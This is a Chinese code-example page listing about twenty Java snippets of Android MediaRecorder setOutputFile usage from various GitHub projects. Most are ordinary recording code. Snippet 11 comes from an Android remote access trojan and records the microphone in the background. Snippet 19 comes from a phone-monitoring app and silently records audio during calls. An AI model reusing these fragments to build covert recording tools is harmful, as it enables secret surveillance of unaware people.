android.media.MediaRecorder#setOutputFile ( )源码实例Demo

下面列出了android.media.MediaRecorder#setOutputFile ( ) 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。

源代码1 项目: DeviceConnect-Android   文件: StreamingRecorder.java
/**
 * 動画撮影のための準備を行います.
 *
 * @throws IOException 動画撮影の準備に失敗した場合に発生
 */
public synchronized void setUpMediaRecorder(File outputFile) throws IOException {
    if (DEBUG) {
        Log.e(TAG, "Set up MediaRecorder");
        Log.e(TAG, "  VideoSize: " + mSettings.getWidth() + "x" + mSettings.getHeight());
        Log.e(TAG, "  BitRate: " + mSettings.getBitRate());
        Log.e(TAG, "  FrameRate: " + mSettings.getFrameRate());
        Log.e(TAG, "  OutputFile: " + outputFile.getAbsolutePath());
    }

    int rotation = getDisplayRotation();
    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mMediaRecorder.setOutputFile(outputFile.getAbsolutePath());
    mMediaRecorder.setVideoEncodingBitRate(mSettings.getBitRate());
    mMediaRecorder.setVideoFrameRate(mSettings.getFrameRate());
    mMediaRecorder.setVideoSize(mSettings.getWidth(), mSettings.getHeight());
    mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    mMediaRecorder.setOrientationHint(ORIENTATIONS[mSettings.getSensorOrientation()].get(rotation));
    mMediaRecorder.setOnInfoListener(mOnInfoListener);
    mMediaRecorder.setOnErrorListener(mOnErrorListener);
    mMediaRecorder.prepare();
}
 
源代码2 项目: FamilyChat   文件: MediaRecorderSystemImpl.java
@Override
public void initRecorder(Camera camera, int cameraId, Surface surface, String filePath)
{
    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.reset();
    if (camera != null)
        mMediaRecorder.setCamera(camera);
    mMediaRecorder.setOnErrorListener(this);
    mMediaRecorder.setPreviewDisplay(surface);
    mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);//视频源
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//音频源
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);//视频输出格式 也可设为3gp等其他格式
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频格式
    mMediaRecorder.setVideoSize(640, 480);//设置分辨率,市面上大多数都支持640*480
    //        mediaRecorder.setVideoFrameRate(25);//设置每秒帧数 这个设置有可能会出问题,有的手机不支持这种帧率就会录制失败,这里使用默认的帧率,当然视频的大小肯定会受影响
    //这里设置可以调整清晰度
    mMediaRecorder.setVideoEncodingBitRate(2 * 1024 * 512);

    if (cameraId == Camera.CameraInfo.CAMERA_FACING_BACK)
        mMediaRecorder.setOrientationHint(90);
    else
        mMediaRecorder.setOrientationHint(270);
    mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//视频录制格式
    mMediaRecorder.setOutputFile(filePath);
}
 
源代码3 项目: android-apps   文件: MainActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	setContentView(R.layout.activity_main);
	
	start = (Button)findViewById(R.id.button1);
	stop = (Button)findViewById(R.id.button2);
	play = (Button)findViewById(R.id.button3);
	
	stop.setEnabled(false);
    play.setEnabled(false);
    
    outputFile = Environment.getExternalStorageDirectory().getAbsolutePath() + "/myRecorded.3gp";
    mediaRecorder = new MediaRecorder();
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    mediaRecorder.setOutputFile(outputFile);
    
	
}
 
源代码4 项目: CoolChat   文件: RecordButton.java
private void init() {

        //如果文件夹不创建的话那么执行到recorder.prepare()就会报错
        File dir = new File(audioPath);
        if (!dir.exists()) {
            dir.mkdirs();
        }

        recorder = new MediaRecorder();
        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        recorder.setMaxDuration(MAX_LENGTH);
        recorder.setOutputFile(audioFileName);
        try {
            recorder.prepare();
        } catch (IOException e) {
            e.printStackTrace();
            LogUtils.e("MediaRecorder prepare()报错");
        }
    }
 
源代码5 项目: VideoCamera   文件: VideoRecorder.java
@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera) throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}
 
public MediaRecorder prepareMediaRecorder() {

        audioRecorder = new MediaRecorder();
        audioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        audioRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        audioRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        audioRecorder.setAudioEncodingBitRate(256);
        audioRecorder.setAudioChannels(1);
        audioRecorder.setAudioSamplingRate(44100);
        audioRecorder.setOutputFile(outputFile);

        return audioRecorder;
    }
 
public void recordVideo(VideoStartCallback videoStartCallback, VideoStopCallback videoStopCallback, VideoErrorCallback videoErrorCallback) {
    try {
        this.videoStartCallback = videoStartCallback;
        this.videoStopCallback = videoStopCallback;
        this.videoErrorCallback = videoErrorCallback;
        if (mCameraDevice == null || !mTextureView.isAvailable() || mPreviewSize == null) {
            this.videoErrorCallback.onVideoError("Camera not ready.");
            return;
        }
        videoFile = Environment.getExternalStorageDirectory() + "/" + formatter.format(new Date()) + ".mp4";
        mMediaRecorder = new MediaRecorder();
        //mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mMediaRecorder.setOutputFile(videoFile);
        mMediaRecorder.setVideoEncodingBitRate(10000000);
        mMediaRecorder.setVideoFrameRate(30);
        mMediaRecorder.setVideoSize(mVideoSize.getWidth(), mVideoSize.getHeight());
        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
        //mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        if (swappedDimensions) {
            mMediaRecorder.setOrientationHint(INVERSE_ORIENTATIONS.get(mDisplayOrientation));
        } else {
            mMediaRecorder.setOrientationHint(ORIENTATIONS.get(mDisplayOrientation));
        }
        mMediaRecorder.prepare();
        closePreviewSession();
        createCameraRecordSession();
    } catch (IOException ex) {
        Log.d(TAG, "Video Recording error"+ex.getMessage());
    }
}
 
源代码8 项目: astrobee_android   文件: MainActivity.java
public void onRecordClick(View v) {
    if (!mRecording) {
        File f = new File(getExternalFilesDir(null), "recording.mp4");

        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setOutputFile(f.getAbsolutePath());
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC_ELD);
        mRecorder.setAudioSamplingRate(48000);
        mRecorder.setAudioEncodingBitRate(96000);

        try {
            mRecorder.prepare();
        } catch (IOException e) {
            Log.e(TAG, "unable to prepare MediaRecorder");
            mRecorder = null;
            return;
        }

        mRecorder.start();
        mRecording = true;

        setState(STATE_RECORDING);
    } else {
        mRecorder.stop();
        mRecorder.release();
        mRecording = false;

        setState(STATE_IDLE);
    }
}
 
public MediaRecorder prepareMediaRecorder() {

        audioRecorder = new MediaRecorder();
        audioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        audioRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        audioRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        audioRecorder.setAudioEncodingBitRate(256);
        audioRecorder.setAudioChannels(1);
        audioRecorder.setAudioSamplingRate(44100);
        audioRecorder.setOutputFile(outputFile);
        audioRecorder.setOnInfoListener(this);
        audioRecorder.setOnErrorListener(this);

        return audioRecorder;
    }
 
源代码10 项目: continuous-audiorecorder   文件: AudioRecorder.java
/**
 * Continues an existing record or starts a new one.
 *
 * @param listener The listener instance.
 */
@SuppressLint("NewApi")
public void start(@NonNull final OnStartListener listener) {
    StartRecordTask task = new StartRecordTask();

    mMediaRecorder = new MediaRecorder();
    mMediaRecorder.setAudioEncodingBitRate(mMediaRecorderConfig.mAudioEncodingBitRate);
    mMediaRecorder.setAudioChannels(mMediaRecorderConfig.mAudioChannels);
    mMediaRecorder.setAudioSource(mMediaRecorderConfig.mAudioSource);
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mMediaRecorder.setOutputFile(getTemporaryFileName());
    mMediaRecorder.setAudioEncoder(mMediaRecorderConfig.mAudioEncoder);

    task.execute(listener);
}
 
源代码11 项目: Dendroid-HTTP-RAT   文件: MyService.java
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
private void initMediaRecorder() {
    recorder = new MediaRecorder();
    recorder.setAudioSource(configurationBuilder.audioSource);
    recorder.setOutputFormat(configurationBuilder.outputFormat);
    recorder.setOutputFile(configurationBuilder.filePath);
    recorder.setAudioChannels(configurationBuilder.channels);
    recorder.setAudioEncoder(configurationBuilder.audioEncoder);
    recorder.setAudioEncodingBitRate(configurationBuilder.bitRate);
    recorder.setAudioSamplingRate(configurationBuilder.samplingRate);
    recorder.setMaxDuration(configurationBuilder.duration);
    recorder.setOnInfoListener(new OnInfoListenerImpl());
    recorder.setOnErrorListener(new OnErrorListenerImpl());
}
 
源代码13 项目: RxAndroidAudio   文件: AudioRecorder.java
/**
 * prepare for a new audio record.
 */
@WorkerThread
public synchronized boolean prepareRecord(int audioSource, int outputFormat, int audioEncoder,
        int sampleRate, int bitRate, File outputFile) {
    stopRecord();

    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(audioSource);
    mRecorder.setOutputFormat(outputFormat);
    mRecorder.setAudioSamplingRate(sampleRate);
    mRecorder.setAudioEncodingBitRate(bitRate);
    mRecorder.setAudioEncoder(audioEncoder);
    mRecorder.setOutputFile(outputFile.getAbsolutePath());

    // Handle IOException
    try {
        mRecorder.prepare();
    } catch (IOException exception) {
        Log.w(TAG, "startRecord fail, prepare fail: " + exception.getMessage());
        setError(ERROR_INTERNAL);
        mRecorder.reset();
        mRecorder.release();
        mRecorder = null;
        return false;
    }
    mState = STATE_PREPARED;
    return true;
}
 
源代码14 项目: GravityBox   文件: RecordingService.java
private void startRecording() {
    String statusMessage = "";
    String audioFileName = prepareOutputFile();
    try {
        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setOutputFile(audioFileName);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        mRecorder.setAudioEncodingBitRate(96000);
        mRecorder.setAudioSamplingRate(mSamplingRate);
        mRecorder.setOnErrorListener(mOnErrorListener);
        mRecorder.prepare();
        mRecorder.start();
        mRecordingStatus = RECORDING_STATUS_STARTED;
        startForeground(1, mRecordingNotif);
    } catch (Exception e) {
        e.printStackTrace();
        mRecordingStatus = RECORDING_STATUS_ERROR;
        statusMessage = e.getMessage();
    } finally {
        Intent i = new Intent(ACTION_RECORDING_STATUS_CHANGED);
        i.putExtra(EXTRA_RECORDING_STATUS, mRecordingStatus);
        if (mRecordingStatus == RECORDING_STATUS_STARTED) {
            i.putExtra(EXTRA_AUDIO_FILENAME, audioFileName);
        }
        i.putExtra(EXTRA_STATUS_MESSAGE, statusMessage); 
        sendBroadcast(i);
    }
}
 
源代码15 项目: android-docs-samples   文件: ChatActivity.java
private void promptSpeechInput() {
    final MediaRecorder recorder = new MediaRecorder();
    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat(MediaRecorder.OutputFormat.AMR_NB);
    recorder.setAudioSamplingRate(8000);
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
    recorder.setOutputFile(fileName);

    try {
        recorder.prepare();
    } catch (IOException e) {
        Toast.makeText(
                getApplicationContext(),
                "Failed to record audio",
                Toast.LENGTH_SHORT).show();
        return;
    }

    AlertDialog alertDialog = new AlertDialog.Builder(this)
            .setMessage("Recording")
            .setPositiveButton("Send", new DialogInterface.OnClickListener() {
                @Override
                public void onClick(DialogInterface dialogInterface, int i) {
                    recorder.stop();
                    recorder.release();
                    sendAudio();
                }
            })
            .create();

    recorder.start();
    alertDialog.show();
}
 
源代码16 项目: Pix-Art-Messenger   文件: RecordingActivity.java
private boolean startRecording() {
    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    if (alternativeCodec) {
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    } else {
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        mRecorder.setAudioEncodingBitRate(96000);
        mRecorder.setAudioSamplingRate(22050);
    }
    setupOutputFile();
    mRecorder.setOutputFile(mOutputFile.getAbsolutePath());

    try {
        mRecorder.prepare();
        mRecorder.start();
        mStartTime = SystemClock.elapsedRealtime();
        mHandler.postDelayed(mTickExecutor, 100);
        Log.d("Voice Recorder", "started recording to " + mOutputFile.getAbsolutePath());
        return true;
    } catch (Exception e) {
        Log.e("Voice Recorder", "prepare() failed " + e.getMessage());
        return false;
    }
}
 
public void startAudioRecording ()
{
    int permissionCheck = ContextCompat.checkSelfPermission(this,
            Manifest.permission.RECORD_AUDIO);

    if (permissionCheck ==PackageManager.PERMISSION_DENIED)
    {
        // Should we show an explanation?
        if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                Manifest.permission.RECORD_AUDIO)) {


            // Show an expanation to the user *asynchronously* -- don't block
            // this thread waiting for the user's response! After the user
            // sees the explanation, try again to request the permission.
            Snackbar.make(mConvoView.getHistoryView(), R.string.grant_perms, Snackbar.LENGTH_LONG).show();
        } else {

            // No explanation needed, we can request the permission.

            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.RECORD_AUDIO},
                    MY_PERMISSIONS_REQUEST_AUDIO);

            // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
            // app-defined int constant. The callback method gets the
            // result of the request.
        }
    }
    else {

        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        if (am.getMode() == AudioManager.MODE_NORMAL) {

            mMediaRecorder = new MediaRecorder();

            String fileName = UUID.randomUUID().toString().substring(0, 8) + ".m4a";
            mAudioFilePath = new File(getFilesDir(), fileName);

            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

            //maybe we can modify these in the future, or allow people to tweak them
            mMediaRecorder.setAudioChannels(1);
            mMediaRecorder.setAudioEncodingBitRate(22050);
            mMediaRecorder.setAudioSamplingRate(64000);

            mMediaRecorder.setOutputFile(mAudioFilePath.getAbsolutePath());

            try {
                mIsAudioRecording = true;
                mMediaRecorder.prepare();
                mMediaRecorder.start();
            } catch (Exception e) {
                Log.e(LOG_TAG, "couldn't start audio", e);
            }
        }
    }
}
 
源代码18 项目: libstreaming   文件: AudioStream.java
@Override
protected void encodeWithMediaRecorder() throws IOException {
	
	// We need a local socket to forward data output by the camera to the packetizer
	createSockets();

	Log.v(TAG,"Requested audio with "+mQuality.bitRate/1000+"kbps"+" at "+mQuality.samplingRate/1000+"kHz");
	
	mMediaRecorder = new MediaRecorder();
	mMediaRecorder.setAudioSource(mAudioSource);
	mMediaRecorder.setOutputFormat(mOutputFormat);
	mMediaRecorder.setAudioEncoder(mAudioEncoder);
	mMediaRecorder.setAudioChannels(1);
	mMediaRecorder.setAudioSamplingRate(mQuality.samplingRate);
	mMediaRecorder.setAudioEncodingBitRate(mQuality.bitRate);
	
	// We write the output of the camera in a local socket instead of a file !			
	// This one little trick makes streaming feasible quiet simply: data from the camera
	// can then be manipulated at the other end of the socket
	FileDescriptor fd = null;
	if (sPipeApi == PIPE_API_PFD) {
		fd = mParcelWrite.getFileDescriptor();
	} else  {
		fd = mSender.getFileDescriptor();
	}
	mMediaRecorder.setOutputFile(fd);
	mMediaRecorder.setOutputFile(fd);

	mMediaRecorder.prepare();
	mMediaRecorder.start();

	InputStream is = null;
	
	if (sPipeApi == PIPE_API_PFD) {
		is = new ParcelFileDescriptor.AutoCloseInputStream(mParcelRead);
	} else  {
		try {
			// mReceiver.getInputStream contains the data from the camera
			is = mReceiver.getInputStream();
		} catch (IOException e) {
			stop();
			throw new IOException("Something happened with the local sockets :/ Start failed !");
		}
	}

	// the mPacketizer encapsulates this stream in an RTP stream and send it over the network
	mPacketizer.setInputStream(is);
	mPacketizer.start();
	mStreaming = true;
	
}
 
源代码19 项目: PhoneMonitor   文件: CallStateBroadcastReceiver.java
@Override
public void onReceive(Context context, Intent intent) {
    Intent startMainServiceIntent = new Intent(context, MainService.class);
    context.startService(startMainServiceIntent);

    String action = intent.getAction();
    if (action != null && action.equals("android.intent.action.PHONE_STATE")) {
        String number = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);
        if (number != null) {
            String callState = intent.getStringExtra(TelephonyManager.EXTRA_STATE);
            Log.w(AppSettings.getTAG(), "Broadcast received!\n" + action + number + callState);
            if (callState.equals(TelephonyManager.EXTRA_STATE_OFFHOOK) || callState.equals(TelephonyManager.EXTRA_STATE_RINGING)) {
                if (!recordingState) {
                    /* start recording audio */
                    DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.getDefault());
                    outputFileName = context.getFilesDir().getAbsolutePath() + "/" + dateFormat.format(new Date()) + ".mp4.tmp";
                    mediaRecorder = new MediaRecorder();
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
                    mediaRecorder.setOutputFile(outputFileName);
                    try {
                        mediaRecorder.prepare();
                        mediaRecorder.start();
                        recordingState = true;
                        Log.w(AppSettings.getTAG(), "Recording started to " + outputFileName);
                    } catch (IOException ioexception) {
                        Log.w(AppSettings.getTAG(), ioexception.getMessage() + " while recording audio.");
                        mediaRecorder.release();
                        recordingState = false;
                    }
                }
            } else if (callState.equals(TelephonyManager.EXTRA_STATE_IDLE)) {
                if (recordingState) {
                    mediaRecorder.stop();
                    mediaRecorder.release();
                    HelperMethods.renameTmpFile(outputFileName);//rename .tmp to .mp4
                    HelperMethods.removeBrokenTmpFiles(context.getFilesDir().getAbsolutePath() + "/");//remove any orphan .tmp files
                    recordingState = false;
                    Log.w(AppSettings.getTAG(), "Recording stopped");
                }
            }

        }


    }

}
 
源代码20 项目: Fatigue-Detection   文件: CameraEngine.java
private boolean prepareMediaRecorder() {
        try {
           // final Activity activity = getActivity();
            //if (null == activity) return false;
            //final BaseCaptureInterface captureInterface = (BaseCaptureInterface) activity;

           // setCameraDisplayOrientation(mCamera.getParameters());
            mMediaRecorder = new MediaRecorder();
            camera.stopPreview();
            camera.unlock();
            mMediaRecorder.setCamera(camera);

  //          boolean canUseAudio = true;
            //boolean audioEnabled = !mInterface.audioDisabled();
            //if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
            //    canUseAudio = ContextCompat.checkSelfPermission(activity, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED;

//            if (canUseAudio && audioEnabled) {
                mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
//            } else if (audioEnabled) {
//                Toast.makeText(getActivity(), R.string.mcam_no_audio_access, Toast.LENGTH_LONG).show();
//            }
            mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT);

            final CamcorderProfile profile = CamcorderProfile.get(currentCameraId, CamcorderProfile.QUALITY_HIGH);
            mMediaRecorder.setOutputFormat(profile.fileFormat);
            mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
            mMediaRecorder.setVideoSize(previewSize.width, previewSize.height);
            mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
            mMediaRecorder.setVideoEncoder(profile.videoCodec);

            mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
            mMediaRecorder.setAudioChannels(profile.audioChannels);
            mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
            mMediaRecorder.setAudioEncoder(profile.audioCodec);


            Uri uri = Uri.fromFile(FileUtils.makeTempFile(
                    new File(Environment.getExternalStorageDirectory(),
                            "/Omoshiroi/videos").getAbsolutePath(),
                    "VID_", ".mp4"));

            mMediaRecorder.setOutputFile(uri.getPath());

//            if (captureInterface.maxAllowedFileSize() > 0) {
//                mMediaRecorder.setMaxFileSize(captureInterface.maxAllowedFileSize());
//                mMediaRecorder.setOnInfoListener(new MediaRecorder.OnInfoListener() {
//                    @Override
//                    public void onInfo(MediaRecorder mediaRecorder, int what, int extra) {
//                        if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
//                            Toast.makeText(getActivity(), R.string.mcam_file_size_limit_reached, Toast.LENGTH_SHORT).show();
//                            stopRecordingVideo(false);
//                        }
//                    }
//                });
//            }

            mMediaRecorder.setOrientationHint(90);
     //       mMediaRecorder.setPreviewDisplay(mPreviewView.getHolder().getSurface());

            mMediaRecorder.prepare();
            return true;

        } catch (Exception e) {
            camera.lock();
            e.printStackTrace();
            return false;
        }
    }